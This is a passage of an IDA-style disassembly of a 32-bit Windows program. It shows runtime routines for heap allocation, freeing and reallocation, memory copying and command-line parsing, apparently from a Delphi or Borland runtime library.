		mov	[esp+1Ch+var_1C], eax
		jmp	loc_402155
; ---------------------------------------------------------------------------


loc_4020A1:				; CODE XREF: sub_402018+7Dj
		cmp	ebx, [ebp+0]
		jg	short loc_40202F
		sub	[ebp+0], ebx
		cmp	dword ptr [ebp+0], 0Ch
		jge	short loc_4020B7
		add	ebx, [ebp+0]
		xor	eax, eax
		mov	[ebp+0], eax


loc_4020B7:				; CODE XREF: sub_402018+95j
		mov	eax, ds:dword_407608
		mov	[esp+1Ch+var_18], eax
		add	ds:dword_407608, ebx
		mov	eax, ebx
		or	eax, 2
		mov	edx, [esp+1Ch+var_18]
		mov	[edx], eax
		mov	eax, [esp+1Ch+var_18]
		add	eax, 4
		mov	[esp+1Ch+var_1C], eax
		inc	ds:dword_40759C
		sub	ebx, 4
		add	ds:dword_4075A0, ebx
		jmp	short loc_402155
; ---------------------------------------------------------------------------


loc_4020EC:				; CODE XREF: sub_402018+23j
					; sub_402018+34j ...
		mov	eax, [esi]
		call	sub_401ADC
		mov	eax, [esi]
		mov	edx, [eax+8]
		mov	eax, edx
		sub	eax, ebx
		cmp	eax, 0Ch
		jl	short loc_40210D
		mov	edx, [esi]
		add	edx, ebx
		xchg	eax, edx
		call	sub_401DB0
		jmp	short loc_40212B
; ---------------------------------------------------------------------------


loc_40210D:				; CODE XREF: sub_402018+E7j
		mov	ebx, edx
		mov	eax, [esi]
		cmp	eax, [edi]
		jnz	short loc_40211C
		mov	eax, [esi]
		mov	eax, [eax+4]
		mov	[edi], eax


loc_40211C:				; CODE XREF: sub_402018+FBj
		mov	eax, [esi]
		add	eax, ebx
		mov	[esp+1Ch+var_18], eax
		mov	eax, [esp+1Ch+var_18]
		and	dword ptr [eax], 0FFFFFFFEh


loc_40212B:				; CODE XREF: sub_402018+F3j
		mov	eax, [esi]
		mov	[esp+1Ch+var_18], eax
		mov	eax, ebx
		or	eax, 2
		mov	edx, [esp+1Ch+var_18]
		mov	[edx], eax
		mov	eax, [esp+1Ch+var_18]
		add	eax, 4
		mov	[esp+1Ch+var_1C], eax
		inc	ds:dword_40759C
		sub	ebx, 4
		add	ds:dword_4075A0, ebx


loc_402155:				; CODE XREF: sub_402018+84j
					; sub_402018+D2j
		mov	eax, [esp+1Ch+var_1C]
		add	esp, 0Ch
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_402018	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402160	proc near		; CODE XREF: sub_4026E8+5Dp
					; sub_4027B4+Ap ...

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFECh
		push	ebx
		mov	ebx, eax
		cmp	ds:byte_4075AC,	0
		jnz	short loc_40217B
		call	sub_401904
		test	al, al
		jz	short loc_402183


loc_40217B:				; CODE XREF: sub_402160+10j
		cmp	ebx, 7FFFFFF8h
		jle	short loc_40218D


loc_402183:				; CODE XREF: sub_402160+19j
		xor	eax, eax
		mov	[ebp+var_4], eax
		jmp	loc_402303
; ---------------------------------------------------------------------------


loc_40218D:				; CODE XREF: sub_402160+21j
		xor	edx, edx
		push	ebp
		push	offset loc_4022FC
		push	dword ptr fs:[edx]
		mov	fs:[edx], esp
		cmp	ds:byte_407035,	0
		jz	short loc_4021AE
		push	offset dword_4075B4
		call	sub_4010E4	; RtlEnterCriticalSection


loc_4021AE:				; CODE XREF: sub_402160+42j
		add	ebx, 7
		and	ebx, 0FFFFFFFCh
		cmp	ebx, 0Ch
		jge	short loc_4021BE
		mov	ebx, 0Ch


loc_4021BE:				; CODE XREF: sub_402160+57j
		cmp	ebx, 1000h
		jg	loc_402276
		mov	eax, ebx
		test	eax, eax
		jns	short loc_4021D3
		add	eax, 3


loc_4021D3:				; CODE XREF: sub_402160+6Ej
		sar	eax, 2
		mov	edx, ds:dword_40760C
		mov	edx, [edx+eax*4-0Ch]
		mov	[ebp+var_8], edx
		cmp	[ebp+var_8], 0
		jz	loc_402276
		mov	edx, [ebp+var_8]
		add	edx, ebx
		mov	[ebp+var_14], edx
		mov	edx, [ebp+var_14]
		and	dword ptr [edx], 0FFFFFFFEh
		mov	edx, [ebp+var_8]
		mov	edx, [edx+4]
		mov	[ebp+var_10], edx
		mov	edx, [ebp+var_10]
		cmp	edx, [ebp+var_8]
		jnz	short loc_40221A
		mov	edx, ds:dword_40760C
		xor	ecx, ecx
		mov	[edx+eax*4-0Ch], ecx
		jmp	short loc_402240
; ---------------------------------------------------------------------------


loc_40221A:				; CODE XREF: sub_402160+AAj
		mov	edx, ds:dword_40760C
		mov	ecx, [ebp+var_10]
		mov	[edx+eax*4-0Ch], ecx
		mov	eax, [ebp+var_8]
		mov	eax, [eax]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		mov	edx, [ebp+var_10]
		mov	[eax+4], edx
		mov	eax, [ebp+var_10]
		mov	edx, [ebp+var_C]
		mov	[eax], edx


loc_402240:				; CODE XREF: sub_402160+B8j
		mov	eax, [ebp+var_8]
		mov	[ebp+var_14], eax
		mov	eax, [ebp+var_8]
		mov	eax, [eax+8]
		or	eax, 2
		mov	edx, [ebp+var_14]
		mov	[edx], eax
		mov	eax, [ebp+var_14]
		add	eax, 4
		mov	[ebp+var_4], eax
		inc	ds:dword_40759C
		sub	ebx, 4
		add	ds:dword_4075A0, ebx
		call	sub_403090
		jmp	loc_402303
; ---------------------------------------------------------------------------


loc_402276:				; CODE XREF: sub_402160+64j
					; sub_402160+87j
		cmp	ebx, ds:dword_407604
		jg	short loc_4022D1
		sub	ds:dword_407604, ebx
		cmp	ds:dword_407604, 0Ch
		jge	short loc_40229A
		add	ebx, ds:dword_407604
		xor	eax, eax
		mov	ds:dword_407604, eax


loc_40229A:				; CODE XREF: sub_402160+12Bj
		mov	eax, ds:dword_407608
		mov	[ebp+var_14], eax
		add	ds:dword_407608, ebx
		mov	eax, ebx
		or	eax, 2
		mov	edx, [ebp+var_14]
		mov	[edx], eax
		mov	eax, [ebp+var_14]
		add	eax, 4
		mov	[ebp+var_4], eax
		inc	ds:dword_40759C
		sub	ebx, 4
		add	ds:dword_4075A0, ebx
		call	sub_403090
		jmp	short loc_402303
; ---------------------------------------------------------------------------


loc_4022D1:				; CODE XREF: sub_402160+11Cj
		mov	eax, ebx
		call	sub_402018
		mov	[ebp+var_4], eax
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_402303


loc_4022E8:				; CODE XREF: sub_402160+1A1j
		cmp	ds:byte_407035,	0
		jz	short locret_4022FB
		push	offset dword_4075B4
		call	sub_4010EC	; RtlLeaveCriticalSection

locret_4022FB:				; CODE XREF: sub_402160+18Fj
		retn
; ---------------------------------------------------------------------------


loc_4022FC:				; DATA XREF: sub_402160+30o
		jmp	loc_402FD4
; ---------------------------------------------------------------------------
		jmp	short loc_4022E8
; ---------------------------------------------------------------------------


loc_402303:				; CODE XREF: sub_402160+28j
					; sub_402160+111j ...
		mov	eax, [ebp+var_4]
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_402160	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40230C	proc near		; CODE XREF: sub_401BF0+1Cp
					; sub_4026E8+8Dp ...

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF0h
		push	ebx
		mov	ebx, eax
		xor	eax, eax
		mov	ds:dword_4075B0, eax
		cmp	ds:byte_4075AC,	0
		jnz	short loc_402344
		call	sub_401904
		test	al, al
		jnz	short loc_402344
		mov	ds:dword_4075B0, 8
		mov	[ebp+var_4], 8
		jmp	loc_4024DA
; ---------------------------------------------------------------------------


loc_402344:				; CODE XREF: sub_40230C+17j
					; sub_40230C+20j
		xor	edx, edx
		push	ebp
		push	offset loc_4024D3
		push	dword ptr fs:[edx]
		mov	fs:[edx], esp
		cmp	ds:byte_407035,	0
		jz	short loc_402365
		push	offset dword_4075B4
		call	sub_4010E4	; RtlEnterCriticalSection


loc_402365:				; CODE XREF: sub_40230C+4Dj
		mov	[ebp+var_8], ebx
		mov	eax, [ebp+var_8]
		sub	eax, 4
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		mov	ebx, [eax]
		test	bl, 2
		jnz	short loc_40238A
		mov	ds:dword_4075B0, 9
		jmp	loc_4024AA
; ---------------------------------------------------------------------------


loc_40238A:				; CODE XREF: sub_40230C+6Dj
		dec	ds:dword_40759C
		mov	eax, ebx
		and	eax, 7FFFFFFCh
		sub	eax, 4
		sub	ds:dword_4075A0, eax
		test	bl, 1
		jz	short loc_4023F8
		mov	eax, [ebp+var_8]
		sub	eax, 0Ch
		mov	eax, [eax+8]
		cmp	eax, 0Ch
		jl	short loc_4023BA
		test	eax, 80000003h
		jz	short loc_4023C9


loc_4023BA:				; CODE XREF: sub_40230C+A5j
		mov	ds:dword_4075B0, 0Ah
		jmp	loc_4024AA
; ---------------------------------------------------------------------------


loc_4023C9:				; CODE XREF: sub_40230C+ACj
		mov	edx, [ebp+var_8]
		sub	edx, eax
		mov	[ebp+var_10], edx
		mov	edx, [ebp+var_10]
		cmp	eax, [edx+8]
		jz	short loc_4023E8
		mov	ds:dword_4075B0, 0Ah
		jmp	loc_4024AA
; ---------------------------------------------------------------------------


loc_4023E8:				; CODE XREF: sub_40230C+CBj
		add	ebx, eax
		mov	eax, [ebp+var_10]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_10]
		call	sub_401ADC


loc_4023F8:				; CODE XREF: sub_40230C+97j
		and	ebx, 7FFFFFFCh
		mov	eax, [ebp+var_8]
		add	eax, ebx
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		cmp	eax, ds:dword_407608
		jnz	short loc_40243D
		sub	ds:dword_407608, ebx
		add	ds:dword_407604, ebx
		cmp	ds:dword_407604, 3C00h
		jle	short loc_40242E
		call	sub_401EA8


loc_40242E:				; CODE XREF: sub_40230C+11Bj
		xor	eax, eax
		mov	[ebp+var_4], eax
		call	sub_403090
		jmp	loc_4024DA
; ---------------------------------------------------------------------------


loc_40243D:				; CODE XREF: sub_40230C+103j
		mov	eax, [ebp+var_C]
		mov	eax, [eax]
		test	al, 2
		jz	short loc_402464
		and	eax, 7FFFFFFCh
		cmp	eax, 4
		jge	short loc_40245C
		mov	ds:dword_4075B0, 0Bh
		jmp	short loc_4024AA
; ---------------------------------------------------------------------------


loc_40245C:				; CODE XREF: sub_40230C+142j
		mov	eax, [ebp+var_C]
		or	dword ptr [eax], 1
		jmp	short loc_4024A0
; ---------------------------------------------------------------------------


loc_402464:				; CODE XREF: sub_40230C+138j
		mov	eax, [ebp+var_C]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		cmp	dword ptr [eax+4], 0
		jz	short loc_402484
		mov	eax, [ebp+var_10]
		cmp	dword ptr [eax], 0
		jz	short loc_402484
		mov	eax, [ebp+var_10]
		cmp	dword ptr [eax+8], 0Ch
		jge	short loc_402490


loc_402484:				; CODE XREF: sub_40230C+165j
					; sub_40230C+16Dj
		mov	ds:dword_4075B0, 0Bh
		jmp	short loc_4024AA
; ---------------------------------------------------------------------------


loc_402490:				; CODE XREF: sub_40230C+176j
		mov	eax, [ebp+var_10]
		mov	eax, [eax+8]
		add	ebx, eax
		mov	eax, [ebp+var_10]
		call	sub_401ADC


loc_4024A0:				; CODE XREF: sub_40230C+156j
		mov	edx, ebx
		mov	eax, [ebp+var_8]
		call	sub_401DB0


loc_4024AA:				; CODE XREF: sub_40230C+79j
					; sub_40230C+B8j ...
		mov	eax, ds:dword_4075B0
		mov	[ebp+var_4], eax
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_4024DA


loc_4024BF:				; CODE XREF: sub_40230C+1CCj
		cmp	ds:byte_407035,	0
		jz	short locret_4024D2
		push	offset dword_4075B4
		call	sub_4010EC	; RtlLeaveCriticalSection

locret_4024D2:				; CODE XREF: sub_40230C+1BAj
		retn
; ---------------------------------------------------------------------------


loc_4024D3:				; DATA XREF: sub_40230C+3Bo
		jmp	loc_402FD4
; ---------------------------------------------------------------------------
		jmp	short loc_4024BF
; ---------------------------------------------------------------------------


loc_4024DA:				; CODE XREF: sub_40230C+33j
					; sub_40230C+12Cj
					; DATA XREF: ...
		mov	eax, [ebp+var_4]
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_40230C	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_4024E4	proc near		; CODE XREF: sub_4026E8+4Dp

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h

		push	ebx
		push	esi
		push	edi
		push	ebp
		add	esp, 0FFFFFFF4h
		mov	ebx, edx
		add	ebx, 7
		and	ebx, 0FFFFFFFCh
		cmp	ebx, 0Ch
		jge	short loc_4024FD
		mov	ebx, 0Ch


loc_4024FD:				; CODE XREF: sub_4024E4+12j
		sub	eax, 4
		mov	[esp+1Ch+var_1C], eax
		mov	eax, [esp+1Ch+var_1C]
		mov	esi, [eax]
		and	esi, 7FFFFFFCh
		mov	eax, [esp+1Ch+var_1C]
		add	eax, esi
		mov	[esp+1Ch+var_18], eax
		cmp	esi, ebx
		jnz	short loc_402522
		mov	al, 1
		jmp	loc_4026DF
; ---------------------------------------------------------------------------


loc_402522:				; CODE XREF: sub_4024E4+35j
		cmp	esi, ebx
		jle	loc_4025BA
		mov	ebp, esi
		sub	ebp, ebx
		mov	edx, [esp+1Ch+var_18]
		cmp	edx, ds:dword_407608
		jnz	short loc_402566
		sub	ds:dword_407608, ebp
		add	ds:dword_407604, ebp
		cmp	ds:dword_407604, 0Ch
		jge	loc_4026C2
		add	ds:dword_407608, ebp
		sub	ds:dword_407604, ebp
		mov	ebx, esi
		jmp	loc_4026C2
; ---------------------------------------------------------------------------


loc_402566:				; CODE XREF: sub_4024E4+54j
		mov	[esp+1Ch+var_18], eax
		mov	eax, [esp+1Ch+var_18]
		test	byte ptr [eax],	2
		jnz	short loc_40258B
		mov	eax, [esp+1Ch+var_18]
		mov	[esp+1Ch+var_14], eax
		mov	eax, [esp+1Ch+var_14]
		add	ebp, [eax+8]
		mov	eax, [esp+1Ch+var_14]
		call	sub_401ADC


loc_40258B:				; CODE XREF: sub_4024E4+8Dj
		cmp	ebp, 0Ch
		jl	short loc_4025B3
		mov	eax, [esp+1Ch+var_1C]
		add	eax, ebx
		mov	[esp+1Ch+var_18], eax
		or	ebp, 2
		mov	eax, [esp+1Ch+var_18]
		mov	[eax], ebp
		mov	eax, [esp+1Ch+var_18]
		add	eax, 4
		call	sub_401BF0
		jmp	loc_4026C2
; ---------------------------------------------------------------------------


loc_4025B3:				; CODE XREF: sub_4024E4+AAj
		mov	ebx, esi
		jmp	loc_4026C2
; ---------------------------------------------------------------------------


loc_4025BA:				; CODE XREF: sub_4024E4+40j
					; sub_4024E4+1D5j
		mov	edi, ebx
		sub	edi, esi
		mov	eax, [esp+1Ch+var_18]
		cmp	eax, ds:dword_407608
		jnz	short loc_40262F
		cmp	edi, ds:dword_407604
		jg	short loc_402621
		sub	ds:dword_407604, edi
		add	ds:dword_407608, edi
		cmp	ds:dword_407604, 0Ch
		jge	short loc_4025FF
		mov	eax, ds:dword_407604
		add	ds:dword_407608, eax
		add	ebx, ds:dword_407604
		xor	eax, eax
		mov	ds:dword_407604, eax


loc_4025FF:				; CODE XREF: sub_4024E4+101j
		mov	eax, ebx
		sub	eax, esi
		add	ds:dword_4075A0, eax
		mov	eax, [esp+1Ch+var_1C]
		mov	eax, [eax]
		and	eax, 80000003h
		or	ebx, eax
		mov	eax, [esp+1Ch+var_1C]
		mov	[eax], ebx
		mov	al, 1
		jmp	loc_4026DF
; ---------------------------------------------------------------------------


loc_402621:				; CODE XREF: sub_4024E4+ECj
		call	sub_401EA8
		mov	eax, [esp+1Ch+var_1C]
		add	eax, esi
		mov	[esp+1Ch+var_18], eax


loc_40262F:				; CODE XREF: sub_4024E4+E4j
		mov	eax, [esp+1Ch+var_18]
		test	byte ptr [eax],	2
		jnz	short loc_402687
		mov	eax, [esp+1Ch+var_18]
		mov	[esp+1Ch+var_14], eax
		mov	edx, [esp+1Ch+var_14]
		mov	ebp, [edx+8]
		cmp	edi, ebp
		jle	short loc_402655
		add	eax, ebp
		mov	[esp+1Ch+var_18], eax
		sub	edi, ebp
		jmp	short loc_402687
; ---------------------------------------------------------------------------


loc_402655:				; CODE XREF: sub_4024E4+165j
		mov	eax, [esp+1Ch+var_14]
		call	sub_401ADC
		sub	ebp, edi
		cmp	ebp, 0Ch
		jl	short loc_402673
		mov	eax, [esp+1Ch+var_1C]
		add	eax, ebx
		mov	edx, ebp
		call	sub_401DB0
		jmp	short loc_4026C2
; ---------------------------------------------------------------------------


loc_402673:				; CODE XREF: sub_4024E4+17Fj
		add	ebx, ebp
		mov	eax, [esp+1Ch+var_1C]
		add	eax, ebx
		mov	[esp+1Ch+var_18], eax
		mov	eax, [esp+1Ch+var_18]
		and	dword ptr [eax], 0FFFFFFFEh
		jmp	short loc_4026C2
; ---------------------------------------------------------------------------


loc_402687:				; CODE XREF: sub_4024E4+152j
					; sub_4024E4+16Fj
		mov	eax, [esp+1Ch+var_18]
		mov	eax, [eax]
		test	eax, 80000000h
		jz	short loc_4026BE
		and	eax, 7FFFFFFCh
		add	eax, [esp+1Ch+var_18]
		mov	[esp+1Ch+var_18], eax
		mov	edx, edi
		mov	eax, [esp+1Ch+var_18]
		call	sub_401FAC
		test	al, al
		jz	short loc_4026BE
		mov	eax, [esp+1Ch+var_1C]
		add	eax, esi
		mov	[esp+1Ch+var_18], eax
		jmp	loc_4025BA
; ---------------------------------------------------------------------------


loc_4026BE:				; CODE XREF: sub_4024E4+1AEj
					; sub_4024E4+1CAj
		xor	eax, eax
		jmp	short loc_4026DF
; ---------------------------------------------------------------------------


loc_4026C2:				; CODE XREF: sub_4024E4+69j
					; sub_4024E4+7Dj ...
		mov	eax, ebx
		sub	eax, esi
		add	ds:dword_4075A0, eax
		mov	eax, [esp+1Ch+var_1C]
		mov	eax, [eax]
		and	eax, 80000003h
		or	ebx, eax
		mov	eax, [esp+1Ch+var_1C]
		mov	[eax], ebx
		mov	al, 1


loc_4026DF:				; CODE XREF: sub_4024E4+39j
					; sub_4024E4+138j ...
		add	esp, 0Ch
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4024E4	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4026E8	proc near		; CODE XREF: sub_402804+Dp
					; DATA XREF: DATA:off_40602Co

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF8h
		push	ebx
		push	esi
		mov	esi, edx
		mov	ebx, eax
		cmp	ds:byte_4075AC,	0
		jnz	short loc_402710
		call	sub_401904
		test	al, al
		jnz	short loc_402710
		xor	eax, eax
		mov	[ebp+var_4], eax
		jmp	loc_4027A8
; ---------------------------------------------------------------------------


loc_402710:				; CODE XREF: sub_4026E8+13j
					; sub_4026E8+1Cj
		xor	edx, edx
		push	ebp
		push	offset loc_4027A1
		push	dword ptr fs:[edx]
		mov	fs:[edx], esp
		cmp	ds:byte_407035,	0
		jz	short loc_402731
		push	offset dword_4075B4
		call	sub_4010E4	; RtlEnterCriticalSection


loc_402731:				; CODE XREF: sub_4026E8+3Dj
		mov	edx, esi
		mov	eax, ebx
		call	sub_4024E4
		test	al, al
		jz	short loc_402743
		mov	[ebp+var_4], ebx
		jmp	short loc_402780
; ---------------------------------------------------------------------------


loc_402743:				; CODE XREF: sub_4026E8+54j
		mov	eax, esi
		call	sub_402160
		mov	[ebp+var_8], eax
		mov	eax, ebx
		sub	eax, 4
		mov	eax, [eax]
		and	eax, 7FFFFFFCh
		sub	eax, 4
		cmp	esi, eax
		jge	short loc_402762
		mov	eax, esi


loc_402762:				; CODE XREF: sub_4026E8+76j
		cmp	[ebp+var_8], 0
		jz	short loc_40277A
		mov	edx, [ebp+var_8]
		mov	ecx, ebx
		xchg	eax, ecx
		call	sub_4028C8
		mov	eax, ebx
		call	sub_40230C


loc_40277A:				; CODE XREF: sub_4026E8+7Ej
		mov	eax, [ebp+var_8]
		mov	[ebp+var_4], eax


loc_402780:				; CODE XREF: sub_4026E8+59j
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_4027A8


loc_40278D:				; CODE XREF: sub_4026E8+BEj
		cmp	ds:byte_407035,	0
		jz	short locret_4027A0
		push	offset dword_4075B4
		call	sub_4010EC	; RtlLeaveCriticalSection

locret_4027A0:				; CODE XREF: sub_4026E8+ACj
		retn
; ---------------------------------------------------------------------------


loc_4027A1:				; DATA XREF: sub_4026E8+2Bo
		jmp	loc_402FD4
; ---------------------------------------------------------------------------
		jmp	short loc_40278D
; ---------------------------------------------------------------------------


loc_4027A8:				; CODE XREF: sub_4026E8+23j
					; DATA XREF: sub_4026E8+A0o
		mov	eax, [ebp+var_4]
		pop	esi
		pop	ebx
		pop	ecx
		pop	ecx
		pop	ebp
		retn
sub_4026E8	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_4027B4	proc near		; CODE XREF: sub_4035F8+Cp
					; sub_405078+22p

var_8		= dword	ptr -8

		push	ebx
		push	ecx
		mov	ebx, eax
		test	ebx, ebx
		jle	short loc_4027D6
		mov	eax, ebx
		call	ds:off_406024
		mov	[esp+8+var_8], eax
		cmp	[esp+8+var_8], 0
		jnz	short loc_4027DB
		mov	al, 1
		call	sub_4028AC
; ---------------------------------------------------------------------------
		jmp	short loc_4027DB
; ---------------------------------------------------------------------------


loc_4027D6:				; CODE XREF: sub_4027B4+6j
		xor	eax, eax
		mov	[esp+8+var_8], eax


loc_4027DB:				; CODE XREF: sub_4027B4+17j
					; sub_4027B4+20j
		mov	eax, [esp+8+var_8]
		pop	edx
		pop	ebx
		retn
sub_4027B4	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_4027E4	proc near		; CODE XREF: sub_403560+1Cp
					; sub_403584+21p ...
		push	ebx
		test	eax, eax
		jz	short loc_4027FE
		call	ds:off_406028
		mov	ebx, eax
		test	ebx, ebx
		jz	short loc_402800
		mov	al, 2
		call	sub_4028AC
; ---------------------------------------------------------------------------
		jmp	short loc_402800
; ---------------------------------------------------------------------------


loc_4027FE:				; CODE XREF: sub_4027E4+3j
		xor	ebx, ebx


loc_402800:				; CODE XREF: sub_4027E4+Fj
					; sub_4027E4+18j
		mov	eax, ebx
		pop	ebx
		retn
sub_4027E4	endp


; =============== S U B	R O U T	I N E =======================================



sub_402804	proc near		; CODE XREF: sub_403854+22p
		mov	ecx, [eax]
		test	ecx, ecx
		jz	short loc_40283C
		test	edx, edx
		jz	short loc_402826
		push	eax
		mov	eax, ecx
		call	ds:off_40602C
		pop	ecx
		or	eax, eax
		jz	short loc_402835
		mov	[ecx], eax
		retn
; ---------------------------------------------------------------------------


loc_40281F:				; CODE XREF: sub_402804+2Ej
		mov	al, 2
		jmp	sub_4028AC
; ---------------------------------------------------------------------------


loc_402826:				; CODE XREF: sub_402804+8j
		mov	[eax], edx
		mov	eax, ecx
		call	ds:off_406028
		or	eax, eax
		jnz	short loc_40281F
		retn
; ---------------------------------------------------------------------------


loc_402835:				; CODE XREF: sub_402804+16j
					; sub_402804+48j
		mov	al, 1
		jmp	sub_4028AC
; ---------------------------------------------------------------------------


loc_40283C:				; CODE XREF: sub_402804+4j
		test	edx, edx
		jz	short locret_402850
		push	eax
		mov	eax, edx
		call	ds:off_406024
		pop	ecx
		or	eax, eax
		jz	short loc_402835
		mov	[ecx], eax

locret_402850:				; CODE XREF: sub_402804+3Aj
		retn
sub_402804	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_402854	proc near		; CODE XREF: sub_402860+42p
					; CODE:0040313Fp
		mov	ds:dword_406004, edx
		call	sub_403548
sub_402854	endp

; ---------------------------------------------------------------------------
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_402860	proc near		; CODE XREF: sub_4028AC+6j
		push	ebx
		push	esi
		mov	esi, edx
		mov	ebx, eax
		and	bl, 7Fh
		cmp	ds:dword_407008, 0
		jz	short loc_40287C
		mov	edx, esi
		mov	eax, ebx
		call	ds:dword_407008


loc_40287C:				; CODE XREF: sub_402860+10j
		test	bl, bl
		jnz	short loc_40288D
		call	sub_403BC4
		mov	ebx, [eax+4]
		jmp	short loc_40289C
; ---------------------------------------------------------------------------


loc_40288D:				; CODE XREF: sub_402860+1Ej
		cmp	bl, 18h
		ja	short loc_40289C
		xor	eax, eax
		mov	al, bl
		mov	bl, ds:byte_406030[eax]


loc_40289C:				; CODE XREF: sub_402860+2Bj
					; sub_402860+30j
		xor	eax, eax
		mov	al, bl
		mov	edx, esi
		call	sub_402854
sub_402860	endp

; ---------------------------------------------------------------------------
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4028AC	proc near		; CODE XREF: sub_4027B4+1Bp
					; sub_4027E4+13p ...
		and	eax, 7Fh
		mov	edx, [esp+0]
		jmp	sub_402860
sub_4028AC	endp

; ---------------------------------------------------------------------------
		retn

; =============== S U B	R O U T	I N E =======================================



sub_4028B8	proc near		; CODE XREF: sub_402AD0+38p
					; sub_402AD0+4Cp
		push	ebx
		mov	ebx, eax
		call	sub_403BC4
		mov	[eax+4], ebx
		pop	ebx
		retn
sub_4028B8	endp


; =============== S U B	R O U T	I N E =======================================



sub_4028C8	proc near		; CODE XREF: sub_4026E8+86p
					; sub_402B28+14p ...
		push	esi
		push	edi
		mov	esi, eax
		mov	edi, edx
		mov	eax, ecx
		cmp	edi, esi
		ja	short loc_4028E7
		jz	short loc_402905
		sar	ecx, 2
		js	short loc_402905
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4028E7:				; CODE XREF: sub_4028C8+Aj
		lea	esi, [ecx+esi-4]
		lea	edi, [ecx+edi-4]
		sar	ecx, 2
		js	short loc_402905
		std
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		add	esi, 3
		add	edi, 3
		rep movsb
		cld


loc_402905:				; CODE XREF: sub_4028C8+Cj
					; sub_4028C8+11j ...
		pop	edi
		pop	esi
		retn
sub_4028C8	endp


; =============== S U B	R O U T	I N E =======================================



sub_402908	proc near		; CODE XREF: sub_402A6C+44p

var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= byte ptr -14h

		push	ebx
		push	esi
		push	edi
		push	ebp
		add	esp, 0FFFFFFE8h
		mov	[esp+28h+var_24], edx
		mov	[esp+28h+var_28], eax
		mov	esi, esp
		lea	edi, [esp+28h+var_14]
		jmp	short loc_402928
; ---------------------------------------------------------------------------


loc_40291E:				; CODE XREF: sub_402908+2Bj
		mov	eax, [esi]
		push	eax
		call	sub_401028	; CharNextA
		mov	[esi], eax


loc_402928:				; CODE XREF: sub_402908+14j
					; sub_402908+3Fj
		mov	eax, [esi]
		mov	bl, [eax]
		test	bl, bl
		jz	short loc_402935
		cmp	bl, 20h
		jbe	short loc_40291E


loc_402935:				; CODE XREF: sub_402908+26j
		mov	eax, [esi]
		cmp	byte ptr [eax],	22h
		jnz	short loc_402949
		mov	eax, [esi]
		cmp	byte ptr [eax+1], 22h
		jnz	short loc_402949
		add	dword ptr [esi], 2
		jmp	short loc_402928
; ---------------------------------------------------------------------------


loc_402949:				; CODE XREF: sub_402908+32j
					; sub_402908+3Aj
		xor	ebp, ebp
		mov	eax, [esi]
		mov	[esp+28h+var_1C], eax
		jmp	short loc_4029AE
; ---------------------------------------------------------------------------


loc_402953:				; CODE XREF: sub_402908+ABj
		mov	eax, [esi]
		cmp	byte ptr [eax],	22h
		jnz	short loc_40299A
		mov	eax, [esi]
		push	eax
		call	sub_401028	; CharNextA
		mov	[esi], eax
		jmp	short loc_40297A
; ---------------------------------------------------------------------------


loc_402966:				; CODE XREF: sub_402908+7Dj
		mov	eax, [esi]
		push	eax
		call	sub_401028	; CharNextA
		mov	[edi], eax
		mov	eax, [edi]
		sub	eax, [esi]
		add	ebp, eax
		mov	eax, [edi]
		mov	[esi], eax


loc_40297A:				; CODE XREF: sub_402908+5Cj
		mov	eax, [esi]
		mov	bl, [eax]
		test	bl, bl
		jz	short loc_402987
		cmp	bl, 22h
		jnz	short loc_402966


loc_402987:				; CODE XREF: sub_402908+78j
		mov	eax, [esi]
		cmp	byte ptr [eax],	0
		jz	short loc_4029AE
		mov	eax, [esi]
		push	eax
		call	sub_401028	; CharNextA
		mov	[esi], eax
		jmp	short loc_4029AE
; ---------------------------------------------------------------------------


loc_40299A:				; CODE XREF: sub_402908+50j
		mov	eax, [esi]
		push	eax
		call	sub_401028	; CharNextA
		mov	[edi], eax
		mov	eax, [edi]
		sub	eax, [esi]
		add	ebp, eax
		mov	eax, [edi]
		mov	[esi], eax


loc_4029AE:				; CODE XREF: sub_402908+49j
					; sub_402908+84j ...
		mov	eax, [esi]
